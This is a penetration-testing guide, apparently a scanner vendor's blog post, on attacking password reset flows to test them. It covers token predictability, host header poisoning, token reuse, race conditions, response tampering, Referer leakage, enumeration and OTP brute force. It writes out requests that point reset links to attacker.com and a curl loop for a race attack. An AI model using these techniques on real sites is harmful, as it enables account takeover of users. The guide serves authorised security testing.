Password Reset Security Testing: Token Predictability, Host Header Injection, and Race Conditions
The password reset flow is one of the most abused features in web applications. It sits outside the main authentication path — often built quickly, rarely reviewed thoroughly — and contains a dense cluster of vulnerability classes: predictable tokens, host header poisoning, race conditions, response manipulation, and leakage through referrer headers. Any single one can hand an attacker full account takeover without touching a password.
This guide covers how to test every stage of the reset flow, from the initial request through token validation to the password change endpoint. It is written for penetration testers and AppSec engineers who need a systematic, reproducible methodology.
Understanding the Reset Flow
Before testing, map the full flow. A typical password reset has four stages:
- Request stage — User submits email or username. Server generates a reset token and sends it via email or SMS.
- Delivery stage — Token reaches the user through an out-of-band channel (email link, SMS code). The link typically contains the token as a URL parameter.
- Validation stage — Server validates the token: existence, expiry, binding to the correct account.
- Change stage — User submits a new password. Server invalidates the token and updates credentials.
Each stage has distinct failure modes. Map them before testing.
Scope: Always confirm that password reset testing is in scope. Triggering real password reset emails to accounts you don't own violates the target users' experience. Use a test account under your control unless specifically authorized otherwise.
Token Predictability Testing
The security of the entire reset flow depends on the token being unguessable. Weak token generation is the most exploitable class of password reset vulnerability.
Collect multiple tokens
Request password resets for a test account multiple times in rapid succession. Capture each token from the email or from the server response if the token is exposed. Collect at least 20-30 tokens before analyzing.
# Extract tokens from intercepted reset emails or response bodies
# Look for patterns in:
# - Length (too short = brute-forceable)
# - Character set (hex, base64, numeric)
# - Timestamp encoding (Unix timestamp in token = predictable)
# - Sequential patterns
Analyze token structure
Decode each token and look for:
- Timestamp components — If the token encodes a Unix timestamp, an attacker who knows the approximate reset time can narrow the search space dramatically. A 32-bit timestamp with millisecond precision is still brute-forceable if the token contains no other entropy.
- User ID encoding — Tokens that encode the user ID in a predictable way (base64 of "user_id:timestamp") can be forged for other accounts.
- Sequential or low-entropy values — Tokens that increment or use `rand()` seeded by time in PHP are vulnerable. Use tools like Burp Sequencer to analyze statistical randomness.
- MD5 or SHA1 of predictable inputs — `md5(username + timestamp)` or `sha1(email + current_time)` are not acceptable. These can be precomputed or brute-forced.
Test token length and character space
Calculate the effective entropy. A 6-character numeric code has ~20 bits of entropy — brute-forceable if rate limiting is absent. A 32-character hex token has 128 bits if generated from a CSPRNG — acceptable. Check both:
# Rough entropy calculation
# Numeric (0-9): log2(10^n) bits
# 6-digit code: log2(10^6) ≈ 20 bits — weak
# 8-digit code: log2(10^8) ≈ 27 bits — marginal
# 32-char hex: 128 bits — acceptable
# Test with Burp Intruder for short codes
# Use Sequencer for longer tokens to test CSPRNG quality
Host Header Injection in Password Reset
This is one of the most consistently exploitable password reset vulnerabilities and appears in bug bounty programs regularly. The attack works when the application uses the incoming Host header to construct the password reset link in the email, instead of using a hardcoded base URL from configuration.
How the attack works
An attacker submits a password reset request for the victim's account, but modifies the Host header to point to an attacker-controlled domain:
POST /forgot-password HTTP/1.1
Host: attacker.com
Content-Type: application/x-www-form-urlencoded
email=victim@example.com
If the application uses $_SERVER['HTTP_HOST'] (PHP) or request.get_host() (Django) to build the reset URL, the email sent to the victim contains a link like:
https://attacker.com/reset-password?token=abc123
When the victim clicks it, their browser sends the token to the attacker's server. The attacker uses the token to reset the victim's password.
Test variations
Try multiple header manipulation techniques — applications may be vulnerable to some but not others:
# Direct Host header override
Host: attacker.com
# X-Forwarded-Host header (often trusted by proxies/frameworks)
Host: legitimate.com
X-Forwarded-Host: attacker.com
# X-Host header
Host: legitimate.com
X-Host: attacker.com
# Host header with port manipulation
Host: legitimate.com:attacker.com
# Subdomain addition
Host: attacker.com.legitimate.com
Verify exploitation
You need a domain under your control to confirm the vulnerability. Use Burp Collaborator, interact.sh, or a webhook service. Submit the reset request with your collaborator URL as the host, then check your collaborator server for incoming HTTP requests containing the token. Confirm the token is valid by attempting to use it.
Token Expiry and Reuse Testing
A reset token that never expires or that remains valid after use is a significant vulnerability. Test both conditions.
Test token expiry
Request a reset token, wait for longer than the advertised expiry (or a reasonable estimate — 1 hour is common), then attempt to use it. If the application still accepts it, the token does not expire. Try extreme durations: 24 hours, 48 hours, 72 hours.
Test token reuse after password change
Request a reset, complete the password change using the token, then immediately attempt to use the same token again to change the password to something different. A properly implemented system invalidates the token on first use. If the second request succeeds, the token is reusable — an attacker who obtained the token can use it even after the victim has already completed their own reset.
Test multiple active tokens
Request a reset twice in quick succession. Both tokens are typically delivered via email. Test whether both tokens remain valid simultaneously. If so, an attacker who obtains an older token can still use it even after the victim has received and used a newer one.
Race Conditions in Password Reset
Race conditions in the reset flow can allow an attacker to bypass token validation or extend token validity. The most common variant involves the token check and the password change being non-atomic operations.
Parallel request attack
Send multiple password change requests simultaneously using the same token, targeting different email addresses or passwords. If the application doesn't handle concurrent access correctly, multiple password changes may succeed — or an otherwise-expired token may be accepted in a narrow race window.
# Use Burp Repeater with parallel tabs, or:
# Turbo Intruder for precise timing control
# Send N concurrent requests with same token
for i in {1..20}; do
curl -s -X POST https://target.com/reset-password \
-d "token=abc123&new_password=Attack$i&email=victim@example.com" &
done
wait
Token generation vs delivery race
In some implementations, the token is generated and stored before the email is sent. If an attacker can observe the token in a non-email channel (e.g., a verbose API response, a timing side channel, or a leaked URL in an analytics request), they can use it before the legitimate user does.
Response Manipulation
Some applications make the reset flow decision based on client-visible response parameters rather than server-side state. Test whether you can manipulate the flow by intercepting and modifying responses.
Boolean response manipulation
Intercept the response to the token validation request. If the response contains a boolean field ("valid": false, "status": "invalid"), change it to true and forward the modified response. If the application trusts this response to determine the next flow step, you can bypass validation.
# Burp Proxy — intercept response to:
# GET /reset-password?token=invalid_token
# Original response:
{"valid": false, "redirect": "/reset-error"}
# Modified response:
{"valid": true, "redirect": "/reset-form?token=invalid_token"}
Status code manipulation
Some applications use HTTP status codes in single-page application flows. Change a 403 to a 200 in the intercepted response and check whether the frontend proceeds to the next step.
Token Leakage via Referrer Headers
When the reset token appears as a URL parameter and the reset page loads external resources (analytics, fonts, tracking pixels), the full URL including the token may be sent in the Referer header to third-party servers.
How to test
Click a valid reset link. Intercept all outbound requests made by the browser while on the reset page. Check the Referer header on requests to any third-party domain. If the reset URL with the token appears in the Referer, the token has been leaked to that third party.
Check for leakage to:
- Analytics platforms (Google Analytics, Mixpanel, Segment)
- CDN resources (fonts, scripts)
- Tracking pixels (advertising networks)
- Error monitoring services (Sentry, Datadog)
The fix is to use the Referrer-Policy: no-referrer or Referrer-Policy: same-origin header on the reset page, or to move the token to a POST body or cookie rather than a URL parameter.
Account Enumeration via Reset Flow
The forgot password form is a common enumeration vector. Test whether the application reveals whether an email address is registered by returning different responses for known vs. unknown accounts.
# Submit reset request with known valid email
POST /forgot-password
email=known@example.com
# Response: "If this email exists, you will receive a link."
# Status: 200
# Submit reset request with unknown email
POST /forgot-password
email=nonexistent@example.com
# Response: "Email not found."
# Status: 200 or 404
Both requests should return identical responses (body, status code, timing) to prevent enumeration. Time the response — if the known email takes noticeably longer (because an email is being sent), that timing difference itself confirms the account exists.
Security Questions as Reset Mechanism
Older applications use security questions as a secondary reset factor. If present, test:
- Brute force rate limiting — Is there a lockout after N incorrect answers?
- Question predictability — Many security question answers are guessable from OSINT (mother's maiden name, high school mascot).
- Skippable validation — Can you access the new password form directly without answering the question (by manipulating the URL or skipping a step)?
- Case sensitivity — Does "London" match "london"? Reduced character space makes brute force easier.
SMS-Based Reset (OTP)
Applications using SMS OTP for password reset have a different attack surface. Test:
- Short OTP length — 4-digit OTPs have only 10,000 combinations. 6-digit OTPs have 1 million. Test whether rate limiting is enforced before exhaustion is possible.
- OTP validity window — A 30-minute OTP window combined with no rate limiting may allow brute force against high-value accounts.
- SIM swapping / SS7 attacks — Out of scope for most web tests, but worth noting as a threat to SMS-based reset at the architectural level.
- OTP reuse — Test whether a used OTP can be submitted again within the validity window.
- Account binding bypass — Test whether the OTP from one account can be applied to reset a different account.
Password Reset Poisoning via Proxy Headers
Beyond the Host header, some applications trust proxy-set headers to determine the reset URL base. Test additional headers that load balancers and reverse proxies commonly set:
X-Forwarded-Host: attacker.com
X-Original-URL: //attacker.com/reset
X-Rewrite-URL: //attacker.com/reset
Forwarded: host=attacker.com
X-Custom-IP-Authorization: 127.0.0.1
The Forwarded header is defined by RFC 7239 and is increasingly supported by modern frameworks. Check whether the application parses it to construct reset URLs.
What Ironimo Catches
Ironimo's scanner tests password reset flows across multiple dimensions during authenticated and unauthenticated scans. It detects host header injection in reset flows by submitting reset requests with manipulated Host and X-Forwarded-Host headers and checking whether the response or sent email reflects the injected domain. Token reuse and expiry are tested by replaying captured tokens after completion and after extended delays. Rate limiting gaps on OTP endpoints are flagged by automated submission bursts. Response manipulation vectors are tested by intercepting and modifying server responses in reset validation flows.
Password Reset Security Testing Checklist
- Map the full reset flow — Identify all endpoints, parameters, and state transitions before testing.
- Collect multiple tokens — Generate at least 20 tokens and analyze for patterns, short length, timestamp encoding, or low entropy.
- Test Host header injection — Try Host, X-Forwarded-Host, X-Host, and Forwarded headers with attacker-controlled domains. Use Burp Collaborator to confirm token delivery.
- Test token expiry — Wait past the advertised expiry window and attempt to use the token. Try 1 hour, 24 hours, and 72 hours.
- Test token reuse — Complete a reset and immediately attempt to reuse the same token.
- Test multiple active tokens — Generate multiple tokens and verify that earlier tokens are invalidated when newer ones are issued.
- Test race conditions — Submit concurrent requests with the same token and observe whether multiple operations succeed.
- Test response manipulation — Intercept and modify validation responses (boolean fields, status codes) to check for client-side trust.
- Check Referer leakage — On the reset page, monitor all outbound requests for the token in Referer headers.
- Test enumeration — Compare responses for known vs. unknown accounts: body content, status code, and response time.
- Test OTP rate limiting — For SMS-based reset, attempt to exhaust the OTP space with automated requests.
- Verify invalidation on account change — Change the email address or password through normal account settings and confirm any pending reset tokens are invalidated.
Test your password reset flows at scale
Ironimo gives AppSec teams on-demand Kali Linux-powered scanning — including automated password reset flow analysis — without the consulting invoice.
Start free scan